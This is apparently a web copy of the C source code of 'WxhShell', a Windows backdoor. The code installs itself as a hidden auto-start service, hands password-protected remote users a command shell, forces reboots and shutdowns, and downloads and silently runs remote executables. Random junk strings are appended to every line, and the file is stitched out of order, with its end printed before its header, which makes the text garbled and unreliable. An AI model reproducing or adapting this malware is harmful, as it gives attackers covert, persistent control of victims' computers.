    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "KlwA.7/  
    else { _m>b2I?  
    closesocket(wsh); d3Rw!slIq  
    ExitThread(0); ^.G$Q#y,  
    } Je@v8{][|  
    break; &zs$x?/  
    } iLz@5Zj8  
  // 获取shell 23?rEhKe  
  case 's': { :]c3|J  
    CmdShell(wsh); h~26WLf.  
    closesocket(wsh); N7_"H>O$0U  
    ExitThread(0); S$3JMFA  
    break; :KN-F86i  
  } 7.T?#;'3  
  // 退出 C?Ucu]cW  
  case 'x': { X.V~SeS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); __@BUK{q  
    CloseIt(wsh); YP9^Bp{0  
    break; mTh]PPo   
    } zJXplvaL;  
  // 离开 z=FZiH  
  case 'q': { l@\FWWQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tr|JYLwF  
    closesocket(wsh); *kVV+H<X|b  
    WSACleanup(); b\ PgVBf9  
    exit(1); +3`alHUK  
    break; 8_tQa^.n\  
        } ':}\4j&{E  
  } 2Hdu:"j  
  } ]d`VT)~vje  
!+njS  
  // 提示信息 DJ%PWlK5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |'.  
} &?vgP!d&M  
  } kl,3IKHa  
s7EinI{^  
  return; L(o15  
} e*!kZAf  
V,9cl,z+  
// shell模块句柄 {|\.i  
int CmdShell(SOCKET sock) _w Ot39e&  
{ iOdpM{~*  
STARTUPINFO si; fQ98(+6  
ZeroMemory(&si,sizeof(si)); +O5hH8<&b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d"NLE'R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; �{x7,  
PROCESS_INFORMATION ProcessInfo; L]Mo;kT<Q  
char cmdline[]="cmd"; *qMY22X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v}(WaO#S  
  return 0; s79r@])=  
} y?0nI<}}HK  
>f'g0g  
// 自身启动模式 &/b~k3{M_  
int StartFromService(void) MPk5^ua:  
{ rs.M]8a2{&  
typedef struct 6^Sa;  
{  XlJZhc  
  DWORD ExitStatus; \?N2=jsu$  
  DWORD PebBaseAddress; - YV>j  
  DWORD AffinityMask; .m AjfP*  
  DWORD BasePriority; G\?YK.Y>  
  ULONG UniqueProcessId; "] iB6  
  ULONG InheritedFromUniqueProcessId; B?qjkP  
}   PROCESS_BASIC_INFORMATION; :L;a:xSpn=  
"\=U)CJ  
PROCNTQSIP NtQueryInformationProcess; H|D.6^  
+"6`q;p3)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l(q ,<[O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nOz.G"  
-^57oU  
  HANDLE             hProcess; g ci    
  PROCESS_BASIC_INFORMATION pbi; 5Ph4<f` L~  
6R5Qy]]E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;GI&lpKK  
  if(NULL == hInst ) return 0; Z)\@i=m  
4aY|TN/|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d/Q%IeEL.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )ANmIwmC#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #,.Hr#3nI  
9C \Fq-  
  if (!NtQueryInformationProcess) return 0; '7@R7w!E4H  
_y3Xb`0a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lk$B{2^n  
  if(!hProcess) return 0; Z<4AL\l 98  
^I)N. 5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e$pV%5=  
hzRYec(  
  CloseHandle(hProcess); Gbw2E&a  
* H9 8Du  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W];dD$Oqg  
if(hProcess==NULL) return 0; m_l[MG\  
A4ygW:  
HMODULE hMod; |W\(kb+  
char procName[255]; `#gie$B{  
unsigned long cbNeeded; <o= 8 FO  
veRm2 LSP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #=v~8  
9M9?%N:ra  
  CloseHandle(hProcess); ]cN1c}  
~= -RK$=  
if(strstr(procName,"services")) return 1; // 以服务启动 F3N6{ysK#  
d:{O\   
  return 0; // 注册表启动 h=%_Ao<x  
} VQ{fne<  
+'@Dz9:>  
// 主模块 ^BL"wk  
int StartWxhshell(LPSTR lpCmdLine) 2>H24F  
{ 5BJmA2L  
  SOCKET wsl; Wr5V`sM  
BOOL val=TRUE;  {>%&(  
  int port=0; ~WN:DXn  
  struct sockaddr_in door; Ydy9  
W,-g=6,  
  if(wscfg.ws_autoins) Install(); $a %MOKr  
M|[oaanY'  
port=atoi(lpCmdLine); t.'!`5G  
))i}7 chc  
if(port<=0) port=wscfg.ws_port; N"y)Oca{  
_{Hj^}+$  
  WSADATA data; *~H Sy8s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u?{H}V  
_]*>*XfF(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vA.MRu#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &yol_%C  
  door.sin_family = AF_INET; vI)LB)Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 27< Enq]  
  door.sin_port = htons(port); Q1l' 7N  
c{LO6dNg\z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8'r[te4,  
closesocket(wsl); PJ'E/C)i  
return 1; Cs ifKHI  
} AnvRxb.e  
%9RF   
  if(listen(wsl,2) == INVALID_SOCKET) { !#" zTj  
closesocket(wsl);  =4!e&o  
return 1; C\/L v.  
} 9!DQ~k%  
  Wxhshell(wsl); H]jhAf<h  
  WSACleanup(); vFK<J Sk!  
j9OG\m  
return 0;  bnLPlf  
7( 2{'r  
} Y7[jqb1D  
-\n@%$M]G  
// 以NT服务方式启动 P_#bow  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l?^4!&Nm  
{ @k/NY *+  
DWORD   status = 0; g SAt@2*U2  
  DWORD   specificError = 0xfffffff; SG4%}wn%  
BIWWMg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P_p<`sC9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )D82N`c2\i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .%C|+#&d  
  serviceStatus.dwWin32ExitCode     = 0; mS~kJy_-  
  serviceStatus.dwServiceSpecificExitCode = 0; ApXy=?fc  
  serviceStatus.dwCheckPoint       = 0; f8.gT49I  
  serviceStatus.dwWaitHint       = 0; G<^{&E+=  
V}NbuvDB@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mcX/GO}  
  if (hServiceStatusHandle==0) return; @[i4^  
om-omo&,X=  
status = GetLastError(); Km6YP!i  
  if (status!=NO_ERROR) .Twk {p  
{ R#8L\1l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y]u+\y~  
    serviceStatus.dwCheckPoint       = 0; [bNx^VP*  
    serviceStatus.dwWaitHint       = 0; bB;5s`-  
    serviceStatus.dwWin32ExitCode     = status; 3K/MvNI>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^_5r<{7/ :  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gH3vk $WS  
    return; {LQ#y/H?  
  } y[_Q-   
h@WhNk7"xa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?r+-  
  serviceStatus.dwCheckPoint       = 0; {Z5nGG  
  serviceStatus.dwWaitHint       = 0; 'W,jMju  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1&(V   
} ;x1 PS  
; XN{x  
// 处理NT服务事件,比如:启动、停止 :7?FF'u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X=8{$:  
{ M b1s F  
switch(fdwControl) WPG(@zD  
{ M*H nM(  
case SERVICE_CONTROL_STOP: f\>M'{cV  
  serviceStatus.dwWin32ExitCode = 0; @Sbe^x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *lw_=MXSK  
  serviceStatus.dwCheckPoint   = 0; <)-Sj,  
  serviceStatus.dwWaitHint     = 0; ,47Y9Kz9  
  { PJrtM AcKq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xDoC(  
  } JOLaP@IPT  
  return; h"lv7;B$  
case SERVICE_CONTROL_PAUSE: Ev(>z-{F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'B0{_RaTb  
  break; Gvqxi|  
case SERVICE_CONTROL_CONTINUE: T+K):u g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P{+T< bk|  
  break; 8j\cL'  
case SERVICE_CONTROL_INTERROGATE: \:ak ''  
  break; r|PB*`  
}; |:<f-j7t~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zEyN)  
} 8j % Tf;  
Gc;{\VU  
// 标准应用程序主函数 6N S201o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O[)kboY  
{ 5m(^W[u `  
Q & K  
// 获取操作系统版本 JU5C}%Q6  
OsIsNt=GetOsVer(); b4ONh%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A_5P/ARmI  
u'W8;G*~  
  // 从命令行安装 |3[Wa^U5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ndz]cx  
vucxt }Ti  
  // 下载执行文件 Om@C X<(9C  
if(wscfg.ws_downexe) { :GP]P^M;G@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ApV~( k)W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~C`^6UQr/?  
} V<uR>TD(  
z]?N+NHOA  
if(!OsIsNt) { l6 H|PR{  
// 如果时win9x,隐藏进程并且设置为注册表启动 \(Y\|zC'0$  
HideProc(); mFaZio0GK  
StartWxhshell(lpCmdLine); D(RTVef  
} $$5aUI:$~$  
else cH?B[S;]  
  if(StartFromService()) 5ZK@`jkE  
  // 以服务方式启动 c~uKsU  
  StartServiceCtrlDispatcher(DispatchTable); 4 f'V8|QM{  
else Y+*0~xm4  
  // 普通方式启动 O-I[igNl  
  StartWxhshell(lpCmdLine); f;gw"onx8F  
9-DZU,`P  
return 0; A.F738Zp{Z  
} :~T99^$zA  
,\n&I(  
n}G|/v<  
FZ,#0ZYJGP  
=========================================== 8UyMVY  
?!cvf{a  
+M$Q =6/  
;n=.>s*XL'  
HxK80mJ  
` a/%W4  
" $#S&QHyEe  
P5nO78  
#include <stdio.h> ]? g@jRs  
#include <string.h> ?_vakJ )  
#include <windows.h> 4^~(Mh-Mw  
#include <winsock2.h> OFv%B/O  
#include <winsvc.h> TQ*1L:X7M&  
#include <urlmon.h> ^_u kLzP9  
48qV >Gwf  
#pragma comment (lib, "Ws2_32.lib") jWl)cC  
#pragma comment (lib, "urlmon.lib") bc) ~k:  
xt%7@/hiE  
#define MAX_USER   100 // 最大客户端连接数 L3--r  
#define BUF_SOCK   200 // sock buffer l6kWQpV  
#define KEY_BUFF   255 // 输入 buffer 7/f3Z 1g  
~ZEmULKkR  
#define REBOOT     0   // 重启 Q[pV!CH  
#define SHUTDOWN   1   // 关机 /bi[ e9R  
\LppYXz  
#define DEF_PORT   5000 // 监听端口 M)N?qRD  
`-l6S  
#define REG_LEN     16   // 注册表键长度 x+x40!+\  
#define SVC_LEN     80   // NT服务名长度 HO%wHiv1X  
\cUNsB5  
// 从dll定义API PCM-i{6/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RyK\uv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R0vIbFwj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4K\(xd&Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]<pjXVRt"  
L>%o[tS  
// wxhshell配置信息 e5B Qr$j  
struct WSCFG { ~ga`\% J  
  int ws_port;         // 监听端口 TXk?#G\o  
  char ws_passstr[REG_LEN]; // 口令 % !>I*H  
  int ws_autoins;       // 安装标记, 1=yes 0=no g,95T Bc  
  char ws_regname[REG_LEN]; // 注册表键名 MLWM&cFG  
  char ws_svcname[REG_LEN]; // 服务名 ;\Y& ce  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Hu/u=vB<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JSW}*HR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X+}1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "4H +!r}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Z# W_R\l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V<@ o<R  
k"]dK,,  
}; _/!y)&4"  
{v2|g  
// default Wxhshell configuration _D_LgH;}  
struct WSCFG wscfg={DEF_PORT, ^8Q62  
    "xuhuanlingzhe", G *;a^]-  
    1, "WK{ >T  
    "Wxhshell", U1RpLkibQ  
    "Wxhshell", h!ZV8yMc  
            "WxhShell Service", >W`4aA  
    "Wrsky Windows CmdShell Service", oifv+oY  
    "Please Input Your Password: ", `~;rblo;  
  1, @reeO=  
  "http://www.wrsky.com/wxhshell.exe", C@W"yYt  
  "Wxhshell.exe" ,o,I5>`  
    }; >ByXB!Wi+  
aZ'Lx:)R  
// 消息定义模块 *nsAgGKKM^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oDYRQozo>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <5jzl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y2vUthRwo  
char *msg_ws_ext="\n\rExit."; Zx  bq  
char *msg_ws_end="\n\rQuit."; glXZZ=j  
char *msg_ws_boot="\n\rReboot..."; iN0nw]_*  
char *msg_ws_poff="\n\rShutdown..."; "D=P8X&vs  
char *msg_ws_down="\n\rSave to "; '-b*EZU8t  
zs*L~_K  
char *msg_ws_err="\n\rErr!"; $K'|0   
char *msg_ws_ok="\n\rOK!"; EEZw_ 1  
Yf~{I-|`q  
char ExeFile[MAX_PATH]; @kU@N?5e  
int nUser = 0; bk^TFE1l  
HANDLE handles[MAX_USER]; I=9!Rs(QF  
int OsIsNt; +d!v}aJ  
%\r!7@Q  
SERVICE_STATUS       serviceStatus; ez!C?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8o 0%@5M  
09kt[  
// 函数声明 h!:~f-@j4  
int Install(void); hk;7:G  
int Uninstall(void); (BfgwC)  
int DownloadFile(char *sURL, SOCKET wsh); /2Bi@syxK  
int Boot(int flag); S"k *6 U  
void HideProc(void); 'hv k  
int GetOsVer(void); qt^T6+faaQ  
int Wxhshell(SOCKET wsl); i?:_:"^x  
void TalkWithClient(void *cs); -s$F&\5by  
int CmdShell(SOCKET sock); w MP  
int StartFromService(void); 0,rTdjH7  
int StartWxhshell(LPSTR lpCmdLine); 'X !?vK^]p  
&0(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [.*;6y3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f'{]"^e=  
FH%GIi  
// 数据结构和表定义 !o+_T?  
SERVICE_TABLE_ENTRY DispatchTable[] = ]mXLg:3B  
{ L%c0Z@[~  
{wscfg.ws_svcname, NTServiceMain}, b2=0}~LK  
{NULL, NULL} *"r~-&IL  
}; o9S+6@  
Kmv+1T0,  
// 自我安装 S&Ee,((E(  
int Install(void) d)R352  
{ /?1nHBYPM  
  char svExeFile[MAX_PATH]; dwv6;x  
  HKEY key; Css l{B  
  strcpy(svExeFile,ExeFile); ;h" P{fF   
z.VyRBi0  
// 如果是win9x系统,修改注册表设为自启动 >ap1"n9k  
if(!OsIsNt) { J@ktyd(P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ze3X$%kWi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Bq!4uq\5|  
  RegCloseKey(key); .rJiyED?!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {; >Q.OX@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P7f,OY<@%o  
  RegCloseKey(key); f5==";eP  
  return 0;  ?k|H3;\  
    } FSb Hn{@  
  } pdEiqLhH  
} _ _>.,gL7  
else { 9bq<GC'eX8  
eD Z8w  
// 如果是NT以上系统,安装为系统服务 0W()lQ   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `\6?WXk3T  
if (schSCManager!=0) rJInj>|{=  
{ eBO@7F$  
  SC_HANDLE schService = CreateService *d',Vuv&[  
  ( d'Axum@  
  schSCManager, u}|%@=xn  
  wscfg.ws_svcname, >xn}N6Rj2~  
  wscfg.ws_svcdisp, T!}[yW  
  SERVICE_ALL_ACCESS, UD y(v]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AVU>+[.=%c  
  SERVICE_AUTO_START, hw~a:kD  
  SERVICE_ERROR_NORMAL, 79yd&5#e?  
  svExeFile, 5+jf/}t A  
  NULL, [ dE.[  
  NULL, @Ehn(}  
  NULL, a`u S[r>  
  NULL, S$^ RbI  
  NULL GzTq5uU&  
  ); X*7\lf2  
  if (schService!=0) @AYo-gf  
  { )CS.F=  
  CloseServiceHandle(schService); `K >?ju"  
  CloseServiceHandle(schSCManager); oo$MWN8a>r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o(Cey7  
  strcat(svExeFile,wscfg.ws_svcname); 'XUKN/.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7RvUH-S[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &X]\)`j0  
  RegCloseKey(key); 2.X"f  
  return 0; UP{j5gR:_  
    } mG1 IQ!  
  } @MK"X}3  
  CloseServiceHandle(schSCManager); %,*G[#*&  
} rBN)a"  
} G^1b>K  
" uPy,<l  
return 1; `:G%   
} j9/-"dTL  
1lnU77;  
// 自我卸载 7gS1~Q4\V2  
int Uninstall(void) $8BE[u|H2  
{ U`x bPQ  
  HKEY key; x4#T G  
M}hrO-C  
if(!OsIsNt) { {+g[l5CR[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =)OC|?9 C\  
  RegDeleteValue(key,wscfg.ws_regname); .6pOvGKb  
  RegCloseKey(key); JkA|Qdj~Mr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Vv}XMxw  
  RegDeleteValue(key,wscfg.ws_regname); S? 0)1O  
  RegCloseKey(key); :b,^J&~/)1  
  return 0; N|2y"5  
  } Y3ZK%OyPR  
} 4E:bp   
} {hO`6mr&t  
else {  oAZh~~tp  
te4= S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VRW] a  
if (schSCManager!=0) ehAu^^Q>  
{ HZ*0QgW\(5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vG2b:[W  
  if (schService!=0) <39!G7ny  
  { lKEa)KF[  
  if(DeleteService(schService)!=0) { (HN4g;{  
  CloseServiceHandle(schService); k,Zm GllQ]  
  CloseServiceHandle(schSCManager); bO/*2oau  
  return 0; ,goBq3[%?  
  } &(xUhX T  
  CloseServiceHandle(schService); C+MSVc  
  } XDD<oo  
  CloseServiceHandle(schSCManager); wp.TfKxw  
} G;oFTP>o  
} ]PNow S\  
<Jp1A# %p  
return 1; fj'j NE  
} NgB 7?]vu  
y$tX-9U  
// 从指定url下载文件 ;S/7 h6  
int DownloadFile(char *sURL, SOCKET wsh) BvSIM%>h  
{ i`O rMzL  
  HRESULT hr; 1{2eY%+C  
char seps[]= "/"; !|m9|  
char *token; ! ]Mc4!E  
char *file; \`,xgC9K  
char myURL[MAX_PATH]; YJ2ro-X  
char myFILE[MAX_PATH]; xnq><4  
qA/bg  
strcpy(myURL,sURL); ^i:\@VA:  
  token=strtok(myURL,seps); ]R_G{%  
  while(token!=NULL) cQFR]i  
  { twk&-:'  
    file=token; H*W):j}8  
  token=strtok(NULL,seps); rvwy~hO"  
  } M>_= "atI  
I/UQ'xx  
GetCurrentDirectory(MAX_PATH,myFILE); 77 :'I  
strcat(myFILE, "\\"); wh~s Z  
strcat(myFILE, file); %TK&)Q% h5  
  send(wsh,myFILE,strlen(myFILE),0); O=jN&<rb  
send(wsh,"...",3,0); DPJh5d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MPRO !45Z  
  if(hr==S_OK) 3^G96]E  
return 0; ]RFdLV?  
else g<[rH%\6fg  
return 1; dA#{Cn;  
F1A1@{8bN  
} `% E9xcD%  
"~p+0Xws9  
// 系统电源模块 G+Dpma ]  
int Boot(int flag) ;WI]vn  
{ j.QHkI1.  
  HANDLE hToken; z*.v_Mx  
  TOKEN_PRIVILEGES tkp; "j Zm0U$,*  
cj(X2L  
  if(OsIsNt) { hswTn`f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4S *,\q]q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !z=pP$81  
    tkp.PrivilegeCount = 1; & QY#3yj=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ]R Mb,hJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +(ny|r[#  
if(flag==REBOOT) { _@ i>s,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AQci,j"  
  return 0; $ly0h W  
} }~*rx7p  
else { lvufkVG|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X N;/nU  
  return 0; pVOI5>f\  
} ?*K<*wBw#  
  } ,ZK]i CGk  
  else { b]`^KTYK  
if(flag==REBOOT) { iUNnPJh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5a$$95oL  
  return 0; #O</\|aH)i  
} !s-/0ugZ  
else { w<d*#$[,*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &`PbO  
  return 0; j+1KNH  
} YkbO&~.  
} DM2Q1Dh3  
%\yK5V5  
return 1; q 22/_nSC  
} %}F"*.  
h3h8lt_ |  
// win9x进程隐藏模块 P{lh)m>  
void HideProc(void) j<$R4A 1  
{ kukaim>K  
d8.ajeN]o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +{xG<Wkltz  
  if ( hKernel != NULL ) FT_k^CC  
  { a paIJ+^[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Ut S>4w\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l%bq2,-%  
    FreeLibrary(hKernel); fNEz  
  } |E|T%i^}./  
/'Bdq?!B&  
return; /\~W$.c  
} M,L@k  
+UaO<L  
// 获取操作系统版本 dP3VJ3+ %  
int GetOsVer(void) t~~r-V":  
{ kGj]i@(PA4  
  OSVERSIONINFO winfo; 8OBF^r44R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g*r/u;  
  GetVersionEx(&winfo); STp!8mL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5V rcR=?O  
  return 1; u-M] A z-  
  else u~)%tL  
  return 0; *(VbPp_H_  
} ^8\Y`Z0%  
D JJZJ}7  
// 客户端句柄模块 YlB["@\[B  
int Wxhshell(SOCKET wsl) w#d} TY  
{ 0hZxN2r  
  SOCKET wsh; >%i9oI<)  
  struct sockaddr_in client; Dtt\~m;AR  
  DWORD myID; j@V $Mbv  
$Q,n+ /  
  while(nUser<MAX_USER) n% U9iwJ.  
{ UNY@w=]<  
  int nSize=sizeof(client); k7b(QADqUU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7C YH'DL  
  if(wsh==INVALID_SOCKET) return 1; Rh yegD  
9H8=eJd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DoTs9w|5  
if(handles[nUser]==0) (>r|j4$  
  closesocket(wsh); bN4d:0Y  
else T/5nu?v  
  nUser++; ,@,LD  u  
  } /W``LK>;?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }*OD M6  
4Q/r[x/&C  
  return 0; A<;0L . J  
} I &cX8Tw  
Cd9t{pQD4  
// 关闭 socket C*]AL/  
void CloseIt(SOCKET wsh) n\ Gg6Y  
{ eFes+i(35  
closesocket(wsh); 5GUH;o1m  
nUser--; o8mo=V4j  
ExitThread(0); $;ch82UiX  
} HWOek"}Z[  
C,R,:zR  
// 客户端请求句柄 \c FAxL(  
void TalkWithClient(void *cs) i~ROQMN1  
{ taBO4LV  
lWIv(%/@  
  SOCKET wsh=(SOCKET)cs; @#1cx  
  char pwd[SVC_LEN]; I@+lFG   
  char cmd[KEY_BUFF]; ,$o-C&nC  
char chr[1]; dY 6B%V  
int i,j; (J/>Gy)d  
NywB 3  
  while (nUser < MAX_USER) { r \9:<i8  
i~(#S8U4d  
if(wscfg.ws_passstr) { 69?I?,7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bac?'ypm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _RgxKp/d  
  //ZeroMemory(pwd,KEY_BUFF); `$f\ %  
      i=0; %d ZM9I0  
  while(i<SVC_LEN) { YlG; A\]k  
E#8J+7  
  // 设置超时 .!!79 6hS  
  fd_set FdRead; q^u6f?B  
  struct timeval TimeOut; z{@= _5;  
  FD_ZERO(&FdRead); A"`L~|&  
  FD_SET(wsh,&FdRead); M3)v-"  
  TimeOut.tv_sec=8; R<_mK33hd  
  TimeOut.tv_usec=0; h#vL5At  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j}i,G!-u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Q[;5Lqt  
s }Xi2^x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -%saeX Wo  
  pwd=chr[0]; d 4[poi ~  
  if(chr[0]==0xd || chr[0]==0xa) { 2f s9JP{^0  
  pwd=0; `x5ll;"J  
  break; $Gr4sh!cE  
  } (di)`D5Q  
  i++; OE5X8DqQe  
    } d5N)^\z  
;&/sj-xJ2  
  // 如果是非法用户,关闭 socket p.qrf7N$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9 J$Y,Z  
} &f$a1#O}dx  
lF)0aDk'h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $0ym_6n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BYTXAZLb  
:t_}_!~  
while(1) { ;D6x=v=2  
ux)<&p.  
  ZeroMemory(cmd,KEY_BUFF); f|;HS!$  
%{7$ \|;J'  
      // 自动支持客户端 telnet标准   QxP` fKC8  
  j=0; oBhL}r  
  while(j<KEY_BUFF) { 6(!,H<bON  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GZ; Z  
  cmd[j]=chr[0]; <m-Ni  
  if(chr[0]==0xa || chr[0]==0xd) { hB?U5J  
  cmd[j]=0; wn&[1gBxM  
  break; kO /~i  
  } H0 {Mlu9  
  j++; bWhJ^L D  
    } bkJwPs  
>1_Dk7E0D  
  // 下载文件 ?*B;514  
  if(strstr(cmd,"http://")) { t sC z+MP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ^xBb$  
  if(DownloadFile(cmd,wsh)) F Bd+=bx,Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ir'DA_..  
  else *Cc$eR]-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O e0KAn  
  } 9aW8wYL~b  
  else { /DgT1^&0  
<FMuWHY  
    switch(cmd[0]) { ,C5@ P+A  
  eh8<?(eK  
  // 帮助 @B}&62T  
  case '?': { o{s4.LKK  
